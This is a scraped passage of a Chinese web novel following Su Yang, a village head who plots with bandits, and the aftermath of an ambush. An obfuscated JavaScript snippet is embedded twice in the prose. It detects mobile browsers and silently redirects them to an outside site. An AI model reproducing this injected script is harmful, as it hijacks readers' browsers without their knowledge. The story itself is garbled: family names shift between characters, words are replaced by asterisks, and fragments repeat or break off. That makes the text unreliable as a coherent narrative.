至于他是怎么知道那些信息的? 这些细节他都没说,说了也解释不清。 随他们村里人爱怎么想就怎么想。 村民们也不关心这些,他们现在最担心的,是青虎岭的土匪会不会打到青龙村来。 毕竟两边离得不远,真要来了,那可真是要了老命了! 说完这些,苏阳跳下牛车,在众人复杂的目光中回了家。 招人的事儿,不急在这一时,先让村民们有个缓冲。 …… 苏阳刚带着人回去没一会儿。 第一百零八章 “咣!咣!咣!” 村正赖志成家的大门,被人跟擂鼓似的砸得山响。 “谁啊这是,大半夜的,鬼叫啥?” 这砸门声,砸得赖志成老婆心头火起。 可她心头火起,她男人心里头都快烧焦了! 赖志成现在何止是心焦,简直是五内俱焚! 他和俩儿子密谋收拾苏阳的事,那是谁也没告诉。 今天一大早,苏阳前脚刚出村,老二赖守义后脚就去给青虎岭的土匪报信。 让他们在半道上截住苏阳,来个斩草除根,顺道把大哥接上。 谁曾想,这一去,就如泥牛入海,老二没了动静,老麻也没个音讯。 最令赖志成心慌意乱的是,一双儿郎杳无音讯,苏阳竟然全须全尾地回来了! 还带着他那帮小兔崽子,一个都不少! 之前听人说苏阳回来了,赖志成还特意拄着拐去村口瞧了。 听得明明白白,苏二他们的确是撞上土匪了! 可苏二那小子却说,青虎岭的土匪正跟凤子楼的人死掐。 这两拨人咋就干上了? 苏二这小子跟凤子楼的人不是穿一条裤子的吗? 他越想越不对劲。 八成是青虎岭的土匪吃了大亏,不然苏二他们怎么可能跑得掉? 青虎岭的土匪损失多少? 要是吃了大亏,会不会疑心是自己儿子走漏了风声? 自己那俩儿子现在咋样了? 一个又一个问题,像走马灯一样在赖志成脑子里转,转得他头昏脑胀! 这不,刚躺下没一会儿,就有人砸门。 他哪还顾得上身上的伤,一个翻身就从床上蹦起来,亲自去开门…… 门刚打开一条缝,赖志成就感觉眼前一黑,差点儿没一头栽倒。 门口趴着个血人,那模样,比恶鬼都吓人! 要不是身上有伤,动弹不便,他非一脚把这玩意儿踹出去不可! “老……老爷……” 就在这时,那血人哼唧了一声。 赖志成一愣,举着的拐杖也停在了半空。 他颤巍巍地蹲下,把那人的脑袋掰过来一瞅,当时就傻眼了,一屁股坐在了地上! 这血糊糊的,除了赖守仁这个大儿子还能有谁? “孩他娘!婉苏!快,快出来!” 赖志成的声音都劈了。 屋里,他老婆和小姨子一听这动静,鞋都没穿好就冲了出来。 先是被门口的血人吓得一个激灵,等看清是谁,俩人都“嗷”的一嗓子嚎上了。 “娘啊,我的儿啊……” 赖志成老婆一屁股坐在地上,捶着大腿就嚎啕大哭。 “嚎!嚎什么嚎!丧门星!” 赖志成气得破口大骂,抬手就给了自家婆娘一巴掌。 他小姨子一看这架势,刚到嗓子眼儿的哭声,硬生生给憋了回去。 “还愣着干啥?赶紧把老麻抬进去!” 赖志成指着他老婆的鼻子骂: “想让你儿子死在这儿啊?” 他这一巴掌,倒是把哭懵了的婆娘给抽醒了。 “对对对,进屋,进屋!” 几个人,连拖带拽,好不容易才把昏死过去的赖守仁弄进屋。 “快,灌点米汤,老麻怕是饿的!” 赖志成阅历丰富,简单查看了一下大儿子的伤势,就知道问题不大,八成是饿晕的。 果然,几口米汤灌下去,赖守仁眼皮动了动,缓缓睁开了眼。 “儿啊,你可算醒了,娘的心都要碎了……” 赖志成老婆一看大儿子醒了,刚松下去的那口气,立马又提了上来,嚎啕大哭。 “啪!” 赖志成抬手又是一巴掌! 这下,他老婆可不干了。 刚才那一巴掌,是她心疼儿子,没顾上。 现在儿子醒了,你个老东西还敢打老娘? “赖志成,你个老不死的,反了你了!” 她一跃而起,眼睛瞪得跟铜铃一样大: “老娘今天不挠死你,我就不姓王!” 说完,她就扑了上去,照着赖志成那张老脸,左右开弓,一阵猛挠! 赖志成身上有伤,躲又躲不开,只能硬生生挨着。 一时间,屋里鸡飞狗跳,乱成一团。 “娘,娘,别打了……” 赖守仁躺在床上,声音虚弱得像蚊子哼哼: “二……二弟他……” 大儿一提及他弟,赖志成和他老婆瞬间都安静了。 “老麻,你快说啊,你弟弟他咋了?” 赖志成顾不上脸上的疼,急切地问。赖守仁身子猛地一颤,摇摇欲坠,勉强用胳膊撑着床沿,才没让自己栽倒。 他张了张嘴,嗓子眼里像是塞了一团破棉絮,干涩嘶哑,发不出半点声音。 “爹,娘… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006431|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 赖守仁艰难地吞咽了一口唾沫,喉结上下滚动,仿佛用尽了全身的力气,才挤出几个字: “二弟……他……没了……” “啥?!” 赖志成只觉得眼前一黑,像是被人在后脑勺上狠狠敲了一闷棍,嗡嗡作响。 “你个丧门星,胡吣吣啥呢?!给老娘再说一遍!” 赖志成的婆娘一个箭步冲上来,一把揪住赖守仁的衣领,指甲都快掐进肉里,声嘶力竭地吼道。 “娘……二弟他……真没了……被人……给杀了!” 赖守仁的眼泪夺眶而出,顺着脸颊流淌下来,滴落在破旧的被褥上,晕染开一片深色的痕迹。 “呃……” “呃……” 赖志成夫妇,就像是两只被掐住了脖子的鸭子,喉咙里发出“咯咯”的怪声。 紧接着,两人直挺挺地向后倒去,像两块僵硬的木板,重重地砸在地板上。 “扑通!” “扑通!” 沉闷的撞击声,让整个屋子都跟着震颤了几下。 “啊……” 站在一旁的王婉苏吓得花容失色,尖叫一声,差点没背过气去。 她做梦也没想到,事情会变成这样。 二外甥**,姐姐和姐夫也失去了知觉。 身边只有一个吓傻了的三外甥。 小家伙脸色煞白,嘴唇哆嗦着,眼睛瞪得老麻,却哭不出声,像一尊没了魂的泥塑。 王婉苏感觉自己的心跳都快停止了,一股寒意从脚底直窜头顶。 她一个弱女子,平时连只鸡都没杀过,这可咋办啊? 虽说赖志成在青龙村里横行霸道,一手遮天,可韩家的人丁实在单薄。 除了卓氏父子,就是几个游手好闲的混混,根本指望不上。 更何况,现在是三更半夜,那些混混怎么可能在韩家? 真要是在,还不知道要惹出什么闲话! 王婉苏的脑子飞快地转动着,她知道这时候绝不能去找那些人。 这种事情,越少人知道越好。 要是苏二这家伙在场就好了…… 不知怎么的,王婉苏的脑海中突然浮现出苏阳的身影。 平日里,苏阳总是沉默寡言,不显山不露水。 可王婉苏总觉得,这小子身上有股子劲儿,让人捉摸不透。 他要是在这里,一定不会像自己这样慌了神! 第一百零九章 奇怪的是,一想到苏阳,王婉苏的心里竟然踏实了不少。 就像是在茫茫黑夜中,看到了一丝微弱的火光,虽然微弱,却足以给人带来希望。 她感觉自己慌乱的心跳,渐渐平复下来,冰凉的手脚,也恢复了一丝温度。 就连混沌的大脑,也变得清明起来…… 她咬了咬牙,先是狠狠地掐住赖志成的人中,然后跑到院子里,从水缸里舀起一瓢凉水,兜头浇了下去。 一阵手忙脚乱,总算把赖志成给弄醒了。 至于她姐姐,王婉苏压根就没打算先救。 她太了解自己姐姐了,除了哭闹撒泼,啥正事也干不了。 事实也的确如此。 赖志成恢复意识后,强忍着悲痛,并没有像平日里那样哭嚎。 他一把抓住赖守仁的胳膊,指甲都快嵌进肉里,声音沙哑得像破锣: “说!咋回事?给老子一五一十地说清楚,一个字都不准漏!” 赖守仁被饿得头晕眼花,说话断断续续,好半天才把事情的经过讲了个大概。 赖志成听得心惊肉跳,这才勉强弄清楚了事情的原委。 原来,这两天赖守仁一直被关在青虎岭上,那些土匪为了逼他就范,硬是没给他吃一口东西。 今天上午,赖守义上山报信之后,青虎岭的土匪就带着他们兄弟俩下了山。 约莫三十个山贼,在青虎岭三当家的带领下,浩浩荡荡地进了虎啸林。 他们打算在那里设伏,等苏阳回村的时候,给他来个出其不意,一举拿下。 谁知道,苏阳没等来,却等来了一群骑马的汉子! 那些人来势汹汹,一进虎啸林就大开杀戒。 青虎岭的四当家以为是卓家兄弟找来的帮手,想都没想,就下令攻击! 顷刻间,双方就扭打在一起,刀光剑影,血肉横飞。 对方一边厮杀,一边大喊着“凤子楼”的名号,出手狠辣,招招致命。 眨眼间,就有七八个土匪倒在了血泊之中! 青虎岭的土匪被打了个措手不及,他们没料到对方竟然如此厉害,刚开始就栽了跟头。 可毕竟是他们先动的手,凤子楼那边也损失惨重。 混乱之中,三个骑士被砍**下,当场毙命。 眼见情势不妙,凤子楼的人开始拼命突围。 突围过程中,又有几个土匪被砍翻在地。 至于后面的事情,赖守仁就不清楚了。 他趁着双方混战,土匪顾不上他,偷偷溜走了。 而赖守义,从一开始就**。 他不是死在凤子楼的人手里,而是被青虎岭的土匪给**的! 那些土匪误以为凤子楼的人是卓家兄弟引来的,对他们深恶痛绝。 所以,他们一刀就结果了赖守义。 本来也想杀了赖守仁,可双方打得正激烈,土匪们也杀红了眼,没顾上他,这才让赖守仁逃过一劫。 事态发展到这种境地,赖守仁根本无暇遮掩,加上他饿得脑子发昏,根本没力气说谎。 他一股脑地把所有事情都倒了出来,完全没注意到一旁还有其他人。 王婉苏听得心惊肉跳,脸色一阵青一阵白。 她没想到赖守义竟然死得这么惨,更没想到赖志成父子竟然如此阴险狡诈! 他们居然勾结土匪,算计自己村里人! 这简直是丧尽天良! 王婉苏虽然娇生惯养,脾气不好,但内心纯良。 她也曾偷偷接济过一些穷苦的村民。 在她看来,村里人之间就算有再大的仇怨,也不能互相残杀,更不能勾结外人来对付自己人。 这简直就是数典忘祖,背叛乡里! 王婉苏是村正的小女儿,从小耳濡目染,她比谁都清楚,村子的利益高于一切。 因为只有村子好了,他们这些村正的家眷才能过上好日子。 但赖志成父子的行径,完全颠覆了她的认知,让她看到了人性的黑暗面。 她紧紧地咬着嘴唇,指甲深深地陷进肉里,心中五味杂陈。 人怎么能这样? 做人怎么能如此无耻? 赖志成身为村长,他怎么能做出这种伤天害理的事情? 他难道不应该把村子的利益放在第一位吗? 卓氏父子并不知道王婉苏内心的想法,他们正在盘算着这件事情的后果,愁容满面。 苏二和凤子楼有瓜葛,而凤子楼的人又突然出现在虎啸林,要说这事和苏二没关系,鬼都不信! 难道苏二已经知道了他们和青虎岭土匪的勾当? 赖志成越想越害怕,如果苏二真的知道了,以他的性格,肯定不会善罢甘休。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006432|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到时候,他们一家老小都得遭殃! “爹,您别慌,事情也许没那么糟……” 赖守仁缓过劲来,稍微镇定了一些,他觉得事情还有转机。 “老麻,你有什么想法,快说!” 赖志成此刻已经六神无主,听到大儿子这么说,急忙问道。 “爹,你想啊,如果苏二真的知道了咱们和土匪勾结,他肯定早就动手了,怎么会等到现在?” 赖守仁顿了顿,接着说道: “再说了,凤子楼的人虽然厉害,但毕竟人数不多,咱们村里这么多人,真要拼起来,他们也占不到便宜。” 赖志成听了,觉得有些道理。 如果苏二真的知道了真相,以他的脾气,恐怕早就杀上门来了,怎么会等到现在? 他的心情稍微平复了一些,可心头的恨意却像野草一样疯长。 他原本只想教训一下苏阳,可没想到会害死自己的儿子。 他把所有的怨恨都算在了苏阳的头上。 “苏二……都是苏二害的!” 赖志成紧咬牙关,双眼通红,布满血丝,仿佛一只受伤的野兽。 “要不是他,我儿也不会死!” 他猛地一拍桌子,震得桌上的茶碗都跳了起来。 突然,他像是想到了什么,脸色变得煞白。 “老麻,青虎岭的山匪误以为凤子楼的人是我们请来的帮手,他们……他们该不会寻仇上门吧?”赖志成听完大儿子的汇报,脸色由青转白,又由白转红,跟开了染坊似的。 他心里头那叫一个乱,像十五只吊桶打水,七上八下。 不成,这事儿绝对不能善罢甘休!必须想个万全之策! “卫村队……卫村队……” 他嘴里嘟囔着,猛地一拍大腿,像是抓住了救命稻草,声音都有些发颤。 “有了!就这么办!我得去找苏二那小子,探探他的底,这事儿非得跟他掰扯掰扯!” …… 与此同时,苏阳屋里,一片热火朝天。 被宰的马匹,肉香四溢,两三百斤的马肉,足够这群半大小子们放开肚皮,美餐一顿。 苏阳特意嘱咐手下敞开了吃,权当是驱散一下这几天的晦气,给他们压压惊。 大伙儿正甩开腮帮子,吃得满嘴流油,村正赖志成却不请自来。 第一百一十章 “苏二,你出来一下,我有话跟你说。” 赖志成站在门口,脸色阴沉,声音低得像从嗓子眼里挤出来似的。 “二哥,我跟你一块儿去!” 石头“腾”地一下站起身,把手里的碗筷往桌上一撂,就要跟出去。 他心里总觉得不踏实,赖小二的死,透着一股子邪乎劲儿,他怕苏阳单独出去会吃亏。 石头这一动,其他小子们也纷纷放下了碗筷,一个个摩拳擦掌,嚷嚷着要跟着苏阳一起去。 那架势,像是生怕苏阳受了委屈。 赖志成看着眼前这群半大的小子,眉头拧成了疙瘩,眼角微微抽搐。 他在心里暗自盘算:苏二这小子,如今是越来越难缠了,手底下竟然笼络了这么一帮子人,这要是真动起手来…… 可转念一想,赖志成又稍稍松了口气。 看苏阳这反应,八成还不知道自己父子俩在背后捣的鬼,不然,他哪能这么气定神闲? 苏阳抬手,示意石头等人稍安勿躁,他自己却稳坐如山,连屁股都没挪一下,只是淡淡地瞥了赖志成一眼。 “村正,有啥话就在这儿说,都是自家兄弟,没啥见不得人的。” 赖志成被噎得一愣,话到嘴边又硬生生咽了回去,只得厚着脸皮开口: “苏二啊,我是这么想的,咱们村里头,是不是该整个卫村队?你觉得这主意咋样?” “卫村队?” 苏阳漫不经心地夹起一块肉,塞进嘴里,一边嚼着,一边含混不清地说道。 他心里跟明镜儿似的,这老家伙,肯定是黄鼠狼给鸡拜年,没安好心! “村正,您要是想弄,那就弄呗,还用得着跟我商量?” 苏阳抬眼瞅了他一下,眼神里带着一丝玩味。 赖志成感觉像是吞了只苍蝇,那叫一个难受。 他心里暗骂:我要是不跟你这小兔崽子商量,你能不给我捣乱? “苏二啊,我的意思是……你看能不能让你和你手底下这些兄弟们,都加入这卫村队……” 苏阳不等他说完,直接摆手打断了他: “加入?中啊,村正您打算给多少银子?” “银子?啥银子?” 赖志成装傻充愣,眼睛瞪得像牛眼。 “村正,卫村队不得吃饭啊?您总不能让兄弟们饿着肚子,给您白干活吧?”苏阳反问道。 赖志成像是听到了什么天大的笑话: “苏二,你这话说的,卫村队护的可是咱们整个青龙村!全村人都得了好处,凭啥让我一个人掏银子?” 这话说得冠冕堂皇,乍一听,似乎也挑不出什么毛病。 毕竟,卫村队是为了保护全村的安全,理应由大家共同承担。 可苏阳是谁?他早就看穿了这老家伙的心思。 说到底,这卫村队还不是为了保护他韩家的那点家产? 要是村里穷得揭不开锅,土匪来了也是白搭,难不成还指望土匪发善心,给村里送温暖? 山贼也不是闲着没事干,他们来村里,肯定是为了那些个有钱人。 青龙村谁最有钱?还不是他韩家! 当然,现在苏阳也算得上是有钱人了,几千两银子在手,想装穷都难。 卫村队对他来说,当然也有好处,但苏阳就是不想让这事儿遂了赖志成的意。 苏阳正琢磨着怎么回绝,周阳突然凑了过来,在他耳边嘀咕了几句: “阳哥儿,我妹子刚才跟我说,瞧见村长家大公子赖守仁归来了,一瘸一拐的,身上好像还有血……” 苏阳一听,心里咯噔一下。 赖守仁回来了?那小子不是被土匪抓走了吗?难不成是逃回来的? “村正,我听说您家老麻回来了?”苏阳决定换个话题,先探探口风。 赖志成一听,心里一惊,脸色顿时变得有些不自然。 这事儿,苏二是怎么知道的? 他定了定神,强装镇定地说道: “是……是回来了,他……他是从土匪窝里逃出来的。” 苏阳又问:“那赖小二呢?他咋没跟着一起回来?” 赖志成闻言,脸色瞬间变得煞白,额头上青筋暴起,像是被人狠狠地踩了一脚尾巴。 他强忍着心头的怒火,咬牙切齿地说道:“老二……老二他……他有事儿,暂时回不来!” 苏阳眯起眼睛,仔细观察着赖志成的表情。 他总觉得这老家伙今天怪怪的,说话吞吞吐吐,眼神闪烁,似乎在隐瞒着什么。 “村正,您别误会,我就是随便问问。” 苏阳笑了笑,话锋一 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林绮娘脆生生地应了一声,从屋里出来,眉眼间还带着几分刚睡醒的惺忪,看向苏阳的眼神却柔得能滴出水来。 “五斤肉?!” “苏哥儿敞亮!” “这下好了,俺娘还念叨着过年能不能吃上一口肉呢!” …… 小子们顿时七嘴八舌地议论起来,一个个兴奋得直搓手。 五斤肉,对他们来说,可不是一笔小数目! 苏阳抬手往下压了压,示意众人安静。 等院子里重新安静下来,他才接着说道: “还有一件事,大家伙儿回去都跟家里人说道说道。赖志成他大儿子赖守仁,从青虎岭土匪窝里逃回来了,这事儿大家都知道了吧?” “知道了,昨儿个晚上就传开了!” “可不是咋地,俺娘还担心了一宿呢!” “听说那卓麻是被土匪给放回来的,也不知道是不是真的……” 几个小子七嘴八舌地议论起来,都有些担忧。 苏阳点了点头,提高了声音: “赖守仁能回来是好事,可土匪吃了亏,保不齐哪天就来寻仇。 第一百一十一章 咱得提前做准备,让乡亲们都警醒着点儿。别到时候土匪真来了,被打个措手不及,哭都没地儿哭去!” 苏阳这话可不是吓唬人。 赖志成惹出来的麻烦,这口锅他苏阳可不背。 “还有,” 苏阳顿了顿,目光从每一个小子的脸上扫过, “我打算再招几个人手,队伍再壮大些。你们回去跟亲朋好友们都说一声,谁家有小子想来的,明儿个一早来这儿集合!” “苏哥儿,这回招人有啥要求没?” 一个胆大的小子高声问道。 “膀大腰圆,能吃苦就行!” 苏阳笑了笑, “不过,丑话我也说在前头,跟着我可不是闹着玩的,是要真刀**干的!谁要是怕了,现在退出还来得及!” “苏哥儿,俺们不怕!” “脑袋掉了碗大个疤,谁怕谁是孙子!” “俺们都听苏哥儿的!” …… 小子们群情激昂,一个个都摩拳擦掌。 日头渐渐升高,阳光洒满了整个院子。 小子们拎着沉甸甸的马肉,兴高采烈地回了家。 刚一进村,就感觉气氛有些不对劲。 平日里热闹的村口,今天却冷冷清清,只有几个老头老太太坐在墙根底下晒太阳。 “他三大爷,你听说了吗?韩家大儿子从土匪窝里跑回来了!” “听说了,这可咋整啊?土匪会不会来咱村里**啊?” “谁知道呢,这年头,太平日子不好过啊!” …… 几个老人的对话,断断续续地传进了几个小子的耳朵里。 “俺爹,俺娘,俺回来了!” 一个小子推开自家院门,大声喊道。 “回来就好,回来就好!” 一个中年妇女急匆匆地从屋里迎出来,拉着儿子的手,上下打量着, “昨天到底咋回事啊?听说你们遇上土匪了?” “娘,俺没事,您看,这是苏哥儿给的马肉,足足五斤呢!” 小子把手里的肉往上一举,脸上露出了得意的笑容。 “这么多肉?!” 中年妇女的眼睛一下子就亮了, “苏阳这孩子,可真是实在!” …… 一时间,苏阳分肉的消息,在青龙村里不胫而走。 原本那些还在犹豫的村民,这下子全都下定了决心。 山贼马上就到了,还管什么闲事? 让自家小子跟着苏阳,才是正经事! …… 夜幕降临,月上枝头。 苏阳躺在炕上,辗转反侧,难以入眠。 总觉得心里不踏实。 身旁,林绮娘似乎也醒着。 “绮娘?” 苏阳轻声叫道。 “嗯……” 林绮娘的声音很轻,带着一丝鼻音。 “睡不着?” 苏阳问。 “嗯。” 林绮娘应了一声。 “让我给你说个有意思的。” 苏阳侧过身,看着林绮娘。 黑暗中,他看不清林绮娘的表情,但能感觉到她的呼吸有些急促。 “嗯。” 林绮娘的声音依旧很轻。 “从前,有个赶考的书生,遇到了一家黑店……” 苏阳的声音低沉而富有磁性,在寂静的夜里缓缓流淌。 林绮娘静静地听着,一颗心也渐渐安定下来。 故事讲到一半,苏阳突然停了下来。 “二哥,后来呢?” 林绮娘忍不住问道。 “后来啊……” 苏阳故意卖了个关子, “后来,书生被店老家娘给救了,两人还成了亲。” “真的吗?” 林绮娘的声音里带着一丝惊喜。 “当然是真的,我什么时候骗过你?” 苏阳笑了笑。 “二哥,你真好。” 林绮娘的声音里充满了感激。 苏阳没有说话,只是静静地看着林绮娘。 …… 第二天天还没亮,苏阳就醒了。 他轻轻地起身,穿好衣服,走出了房间。 院子里静悄悄的,一个人也没有。 苏阳深吸了一口气,走到院子中央,开始打拳。 一招一式,虎虎生风。 一套拳打完,苏阳额头上已经微微见汗。 他收了势,长长地吐出了一口气。 “苏哥儿,起这么早?” 一个声音突然从身后传来。 苏阳回头一看,是二生。 “你也挺早。” 苏阳笑了笑。 “俺们都习惯了,天不亮就起来练功。” 二生挠了挠头,说道。 “好,以后咱们就一起练!” 苏阳点了点头。 正说着,其他小子们也陆续起了床,来到了院子里。 “苏哥儿,今天练啥?” 一个小子问道。 “今天不练别的,就练跑!” 苏阳大手一挥, “都给我绕着村子跑起来,谁要 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苏阳双手叉腰,往那一站,活像个凶神恶煞。 他可不想掺和那些乱七八糟的事情。 为啥苏阳只要半大小子? 原因有俩: 一是这些小子就和那地里的庄稼一样,好苗子,能长个,给点肥料就蹭蹭地往上窜。 二是愣头青,天不怕地不怕,没经过事,不知道怕。 那些老油条,哪个不是人精? 一有点风吹草动,脚底抹油,溜得比兔子还快! 指望他们保护村子? 做梦去吧! 上次测试过关那两家,后来听了赖志成那老东西几句撺掇,扭头就走。 今儿倒好,又舔着脸回来了。 苏阳能惯着他们? 还真以为老子这儿是公共厕所,想来就来,想走就走? “滚犊子,没通过就是没通过,哪儿那么多废话!” 苏阳眼一瞪,唾沫阳子又差点飞出去,直接把两家人给怼了回去。 根本不给他们废话的机会。 “苏二,你个小兔崽子,咋跟长辈说话呢?” 其中一家有个老东西,头发都快掉光了,还倚老卖老。 “就是,当年你爹活着的时候,还得敬我们三分,你算个球!” 另一个老东西也跟着帮腔,手里还拄着个破拐棍,也不知道是真瘸还是装瘸。 第一百一十二章 还没等苏阳发飙,周围的村民先炸了锅。 人群中,一个尖嘴猴腮的汉子跳了出来,指着那俩老头的鼻子骂道: “放**狗臭屁!当初要不是苏哥儿心善,你们早饿死球了!” “可不是咋的,自己个儿没本事,还想占便宜,哪有这好事?” 旁边一个抱着孩子的妇人也啐了一口。 “就是,忘恩负义的东西,还敢来这儿撒野!” “滚回你们的狗窝去!” 一时间,群情激奋,大家你一言我一语,把那两个老头骂了个狗血淋头。 苏阳是谁? 那是大家的衣食父母! 敢惹苏阳,那就是跟他们过不去! 这俩老不死的,简直是活腻歪了! 那两个老头被骂得面红耳赤,一句话也说不出来,最后只能夹着尾巴灰溜溜地跑了。 旁边看热闹的村民们见了,心里都跟明镜似的。 这年头,谁有本事谁就是爷! 苏阳这小子,现在是真不能惹! “我说,二小子他娘,你家那口子不是说,再也不让二小子跟着苏哥儿瞎胡闹了吗?咋又把他给送来了?” 人群里,一个长着三角眼的妇人,阴阳怪气地说道。 “四寸钗,你少在那儿放屁!” 二小子他娘一听这话,顿时火冒三丈, “我家男人可没说过这话!谁要是再敢胡说八道,老娘撕烂她的嘴!” …… 这次来报名的人,比上次还多出一大截。 看来是有人回去练过了。 苏阳背着手,在人群前来回踱步。 他心里清楚,这帮人里头,肯定有不少是奔着那几顿饱饭来的。 最后,通过的人数竟然翻了一倍。 上次是八个,这次足足有十六个! 苏阳微微眯起了眼睛。 人多了是好事,但也得讲究个策略。 要是来多少要多少,那他苏阳成啥了? 冤大头? “咳咳……” 苏阳故意咳嗽了两声, “人有点多,规矩得改改。” 他顿了顿,目光扫过众人, “这次只招十个正式的,两个候补的。谁要是不好好干,立马卷铺盖滚蛋!” 这叫啥? 这叫饥饿营销! 苏阳上学时候,可没少听那些教授们吹牛皮。 啥管理学、营销学,多少也学了点。 尽管是套路满满,但管用就行! 那几个没选上的,虽然心里跟猫抓似的,但也不敢说啥。 毕竟,苏阳的威名在外,谁敢轻易招惹? 新来的十二个小子,苏阳也没让他们立刻开始训练。 还是老一套,先好吃好喝地伺候着。 要想马儿跑,就得先给马儿吃饱草。 这些小子,一看就是长期营养不良,一个个瘦得跟麻杆似的。 不把身子骨养好,练啥都是白搭。 不过,也不能让他们闲着。 苏阳把他们带到了卧龙沟北岸,指着自家那片荒地说道: “都给老子动起来,把这片地给开出来!” 十二个小子二话不说,抡起锄头就开始干活。 …… 苏阳这边忙得热火朝天,村正赖志成那边却是一片愁苏惨雾。 他也想招人,可根本没人搭理他。 最开始,他还想着让村民们自愿报名。 可等了一上午,别说人了,连个鬼影子都没见着。 “这帮刁民,真是气死老子了!” 赖志成在屋里急得团团转, “真想让土匪把他们都给宰了!” 可他也明白,真要那样,自己一家老小也难逃一劫。 他想起去年西边三里村的惨状。 男人**一半,娘子军被掳走一大波,村里的王财主一家,连三岁的小孩都没能幸免,全被土匪给杀了! 想到这里,赖志成不禁打了个寒颤。 他可不想落得和王财主一样的下场。 要是让他知道,苏阳现在比他还有钱,怕是立马就跑路了。 “来人,备轿!” 赖志成咬了咬牙, “去把各家的里正都给我叫来!” “老爷,您这是要去哪儿?” 一个家丁小心翼翼地问道。 “少废话,让你去就去!” 赖志成没好气地说道。 没过多久,各家的里正就都到了。 赖志成把情况跟他们一说, “……现在是非常时期,各户都得派个能干活的!不出人的,拿五斗粮食或者五十个大钱来抵!” “村正老爷,我们哪有那么多粮食和钱啊……” 一个里正哭丧着脸说道。 “就是啊,这不是要我们的命吗?” “都给老子闭嘴!” 赖志成猛地一拍桌子, “再敢废话,老子现在就要了你们的 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他要去东京汴梁闯荡,日后这青龙村的生意,可全指望熊千秋了。要是侄子出了事,他的计划可就全泡汤了! 眼瞅着日头升得老高,快到正午了,派出去打探消息的凌老二连滚带爬地跑了回来,进门的时候还被门槛绊了个趔趄。 “掌……掌柜的……出……出大事了!” 凌老二脸色惨白如纸,声音抖得像筛糠。 他“扑通”一声跪倒在地,连连磕头。 熊麻山顿觉头皮发麻,一股凉气从尾巴骨直冲天灵盖。 他三步并作两步冲上去,一把揪住凌老二的头发,硬生生把他从地上拽了起来: “谁……谁**出事了?” “在……在虎啸林……发现……发现了尸首……” 凌老二结结巴巴,半天才挤出一句完整的话。 熊麻山只觉得浑身的血液都凝固了。 “谁……谁的尸首?” 他声音颤抖,几乎不敢相信自己的耳朵。 “是……是咱……咱们的兄弟……” 凌老二闭上眼睛,像是用尽了全身的力气才说出这句话,说完就瘫软在地。 轰隆! 熊麻山只觉得天旋地转,差点没一头栽倒。 凤子楼的八个打手,那可是他花了大把银子,费了九勇二虎之力才笼络到的。 第一百一十三章 每一个都是以一当十的好汉,折损一人都令他撕心裂肺,更别说一次性失去仨人! “还……还有……” 凌老二颤巍巍地从怀里掏出一封信,双手捧着递给熊麻山, “黑……青虎岭的土匪……留了信,要……要一万两银子……赎人,不然……就……就撕票!” “啥?!” 熊麻山一把夺过信,展开一看,顿时眼前一黑,差点没昏死过去。 他气得浑身发抖,七窍生烟。 心疼损失太大,怒的是青虎岭的土匪胆大包天,竟然敢绑他的侄子,勒索赎金! “掌柜的,千秋公子和剩下的三个兄弟,怕是……怕是都落到土匪手里了……” 凌老二跪在地上,低着头,小声地说,生怕一不小心触了熊麻山的霉头。 熊麻山眼前一阵阵发黑,差点没站稳。 完了,完了,这下全**完了! 辛辛苦苦培养的**人,花了大价钱请来的打手,全**赔进去了! “凌二……” 熊麻山呼哧呼哧地喘着粗气,从牙缝里挤出几个字, “你……你**还愣着干啥?备马!去……去县衙!找……找县尊大老爷……发兵!老子……老子要灭了青虎岭那帮王八蛋!” 他双眼通红,仿佛要滴出血来。 “掌……掌柜的,使……使不得啊!千秋公子还在土匪手里呢,您……您这一发兵,他……他可就没命了啊!” 凌老二吓得魂飞魄散,连忙劝阻。 熊麻山猛地一怔,像一头被浇了冷水的狮子,瞬间蔫了。 他这才反应过来,自己被愤怒冲昏了头脑。 是啊,投鼠忌器! 要是官府发兵剿匪,侄子和那几个打手的性命可就难保了。 青虎岭那帮**不眨眼的畜生,可什么事都干得出来! “那……那你说……咋办?” 熊麻山一屁股坐在椅子上,像泄了气的皮球,有气无力地问。 他狠狠地瞪了凌老二一眼,仿佛在责怪他多嘴。 凌老二缩了缩脖子,心说你问我,我问谁去? 我就是个跑腿的,又不是出主意的! 可他不敢说。 谁不知道熊麻山这老家伙一毛不拔,出了名的铁公鸡。 熊麻山在屋里转了几圈,急得像热锅上的蚂蚁。突然灵机一动,一拍大腿: “有……有了!凌二,你……你现在就去找人给青虎岭送信,就说……就说赎金我熊麻山认了!让他们……给个实在价!” “是!” 凌老二赶紧爬起来,一溜烟地跑了。 他边跑边嘀咕: 这老抠今天转性了?这么容易就答应给钱? 太阳打西边出来了?还是这老家伙又在打什么鬼主意? …… 青龙村,村正家门口。 苏阳刚把红糖水倒进几个陶罐里,准备静置几天看看效果。 他从清阳县买回来的红糖,成色不太好,颜色发黑,杂质也多。 虽说他不是学食品专业的,但也知道古代有一种“青砂净化术”,可以把红糖里的杂质去掉,提炼出更纯净的白糖。 原理倒是不难,就是利用黄泥的吸附作用。 关键是,他得找个合适的容器来过滤。 苏阳在原主的记忆里扒拉了半天,终于想起了一种叫“瓦溜”的东西。 这玩意儿形状像个大漏斗,一般是用来榨油的。 可青龙村穷得叮当响,家家户户都揭不开锅,哪有闲钱买油吃? 想来想去,估计整个村子,也就只有村正赖志成家里可能有这东西了。 苏阳叹了口气,只得厚着脸皮去借。 咣!咣!咣! 